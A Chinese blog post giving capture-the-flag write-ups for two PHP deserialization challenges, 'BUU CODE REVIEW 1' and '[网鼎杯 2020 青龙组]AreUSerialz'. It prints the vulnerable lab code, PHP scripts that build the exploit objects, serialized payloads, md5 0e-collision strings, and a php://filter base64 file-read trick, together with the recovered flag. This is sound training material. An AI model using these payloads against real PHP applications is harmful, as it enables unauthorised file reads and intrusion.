每日进步一点点(网安)

embedded/2025/1/18 14:31:26/

1.BUU CODE REVIEW 1

先看源代码

php"><?phphighlight_file(__FILE__);class BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') {if($_POST['pleasepost'] === '2') {if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {unserialize($_POST['obj']);}}
}

源代码中包含BUU类和if条件判断语句

先分析BUU类,有__destruct()方法,就是对象被销毁时自动调用,可以通过序列化结果进行post传参,让correct和input相等即可得到flag,这是对BUU类的操作

php"><?php
class BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);
?>

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

为什么这样构造呢?因为uniqid()产生的数是随时变化的,所以不能单纯让两个变量的值相等,因为无法保障值是确定唯一的,所以用到指针,让两个变量的内存地址相等,也就是共用一个内存地址。就可以确保两个变量是完全相同的~~这样就可以得到序列化字符串,进行反序列化绕过

下一步就是 分析if语句,if语句的条件有一个get和四个post,get传参时需要满足pleaseget=1,post传参需要满足①pleasepsot=2,②md5的弱相等

md5弱相等绕过有两种办法:

①科学计数法:字符串以0e开头的,后面都是纯数字,就会被认为科学计数,在php中遇到0e就会解释为0,不管后面是什么,都解释为0

这是一些常用到的0e开头的字符串

字符串md5
QNKCDZO0e830400451993494058024219903391
s155964671a0e342768416822451524974117254469
s878926199a0e545993274517709034328855841020

②数组绕过:md5无法解析数组,所以当处理数组时,就会返回null,自然null==null 

进行传参,得到flag

2.[网鼎杯 2020 青龙组]AreUSerialz

php"><?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

本题的代码有点长,咱们一段一段看

public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}

在process方法中,当类变量op等于1的时候会调用write()方法,等于2的时候会调用read()方法。那么我们接下来就分析这两个方法

private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}

write()中就是个判断字符串长度,完了将字符串写入文件中,没什么用

private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}

我们发现read()方法中有file_get_contents函数用于读取文件,所以read方法就是我们获得flag的关键。 这也就出现了第一个条件:变量op得等于2

我们再来看魔术方法__destruct(),当一个对象被删除或对象操作被终止时就会调用这个方法。我们进入这个靶场的时候,对象一定是会被杀死的,所以我们一定会调用这个魔术方法

function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}

在这个方法中,当op强等于2时,就会使op等于1,但是我们必须让op等于2,所以这个地方要进行绕过

php中,强比较===不仅比较值还比较数据类型,而弱比较==只比较值。所以我们让po=2,这里的2是int类型,不是字符类型“2”

function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}

is_valid()方法规定传入变量的字符的ASCII码必须是32-125,而变量是protected定义的,protected属性在序列化后会出现不可见字符\x00*\x00,转化为ASCII码不符合要求,而public属性序列化不会出现不可见字符,可以用public属性来绕过

根据以上分析,我们先来构造反序列化代码:

php"><?php
​
class FileHandler{public $op = 2;    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";    public $content;   
}
​
$a = new FileHandler();
echo serialize($a);
​
?>

PHP封装协议:

php://filter/read=convert.base64-encode/resource=xxx.php

php://filter是一种PHP中的一种特殊的流(即PHP伪协议),允许开发者使用流过滤器来对数据进行处理。也就是说这个协议可以用来过滤一些东西,使用不同的参数可以达到不同的目的和效果:

resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选

read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选

write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选

<;两个链的筛选列表>任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。

php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。 read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag:

所以本题的payload为:/?file=php://filter/read=convert.base64-encode/resource=flag.php

payload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64编码,解码后即可得到flag:

PD9waHAgJGZsYWc9J2ZsYWd7ODE2Y2FkZDUtM2I5Ny00ODU4LWI0ODEtNGE1MGE2ZGU0NjBmfSc7Cg==
<?php $flag='flag{816cadd5-3b97-4858-b481-4a50a6de460f}';

当然构造反序列化代码时也可以使用flag.php,但是这样靶场不会出现flag,需要去页面源代码中查看才能找到


http://www.ppmy.cn/embedded/154965.html

相关文章

NLP DAY2: 文本数据处理(一部分)

事情无论巨细&#xff0c;往往存在一个准备阶段。比如做饭炒菜&#xff0c;需要择菜、洗菜、切菜、热锅等准备工作&#xff1b;出远门需要整理好身份证、手机、钱包等随身物品。类似地&#xff0c;在处理文本的任务中&#xff0c;也存在预处理这么一个重要阶段&#xff0c;包括…

【数据分析与可视化】Python绘制数据地图-GeoPandas地图可视化

本文主要介绍GeoPandas结合matplotlib实现地图的基础可视化。GeoPandas是一个Python开源项目&#xff0c;旨在提供丰富而简单的地理空间数据处理接口。GeoPandas扩展了Pandas的数据类型&#xff0c;并使用matplotlib进行绘图。GeoPandas官方仓库地址为&#xff1a;GeoPandas。G…

【深度学习】Windows系统Anaconda + CUDA + cuDNN + Pytorch环境配置

在做深度学习内容之前&#xff0c;为GPU配置anaconda CUDA cuDNN pytorch环境&#xff0c;在网络上参考了很多帖子&#xff0c;但pytorch的安装部分都有些问题或者比较复杂繁琐&#xff0c;这里总结了相对简单快速的配置方式 文章目录 AnacondaCUDAcuDNNpytorchtorchtorchau…

高阶数据结构之跳表

跳表也是一种查找结构&#xff0c;能够快速的查找到数据。 其地位和二叉搜索树、哈希表类似&#xff0c;因此我们来学习跳表这个结构把。 跳表概念 跳表作为一种查找结构&#xff0c;能够设置为 key 或者 key/value 型的结构。 它的最初思路是这样的&#xff1a;每隔两个节点…

利用 Java 爬虫获取 1688 商品评论的实践指南

在电商领域&#xff0c;商品评论是消费者决策的重要参考因素&#xff0c;同时也是商家了解产品反馈、优化服务的关键数据来源。1688 作为国内知名的 B2B 电商平台&#xff0c;拥有海量的商品评论数据。本文将详细介绍如何利用 Java 爬虫技术获取 1688 商品评论&#xff0c;并提…

北京市房屋建筑物轮廓shp数据arcgis高度字段内容下载分析

标题中的“北京市房屋建筑物轮廓shp数据arcgis高度字段”涉及到的是地理信息系统&#xff08;GIS&#xff09;中的数据格式和属性字段。在GIS领域&#xff0c;SHP&#xff08;Shapefile&#xff09;是一种常见的矢量数据格式&#xff0c;用于存储地理空间特征&#xff0c;如点、…

Count-Min Sketch

An Improved Data Stream Summary: The Count-Min Sketch and its Applications 目的: 解决大数据中的频繁项(Heavy Hitters)问题(参考大数据流的在线Heavy Hitters算法&#xff08;上篇&#xff09;&#xff1a;基于计数器的方法-CSDN博客) 核心思想&#xff1a; 可以把CMS看…

Visual Studio Community 2022(VS2022)安装方法

废话不多说直接上图&#xff1a; 直接上步骤&#xff1a; 1&#xff0c;首先可以下载安装一个Visual Studio安装器&#xff0c;叫做Visual Studio installer。这个安装文件很小&#xff0c;很快就安装完成了。 2&#xff0c;打开Visual Studio installer 小软件 3&#xff0c…